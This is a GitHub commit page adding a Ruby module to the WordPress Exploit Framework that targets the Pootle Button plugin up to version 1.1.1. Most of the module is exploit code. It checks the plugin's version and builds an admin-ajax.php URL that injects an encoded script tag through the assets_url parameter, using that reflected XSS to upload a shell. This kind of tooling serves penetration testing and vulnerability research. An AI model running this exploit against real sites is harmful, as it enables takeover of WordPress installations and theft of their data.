Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit bb44cf6

Browse files
committed
Land #45: Add Pootle Button reflected XSS shell upload
2 parents 1cfc278 + ad3e119 commit bb44cf6

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
class Wpxf::Exploit::PootleButtonReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Pootle Button <= 1.1.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Ricardo Sanchez', # Disclosure
11+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8930'],
15+
['URL', 'https://packetstormsecurity.com/files/144582/']
16+
],
17+
date: 'Oct 12 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('pootle', '1.2.0')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin-ajax.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
31+
end
32+
end

0 commit comments

Comments
 (0)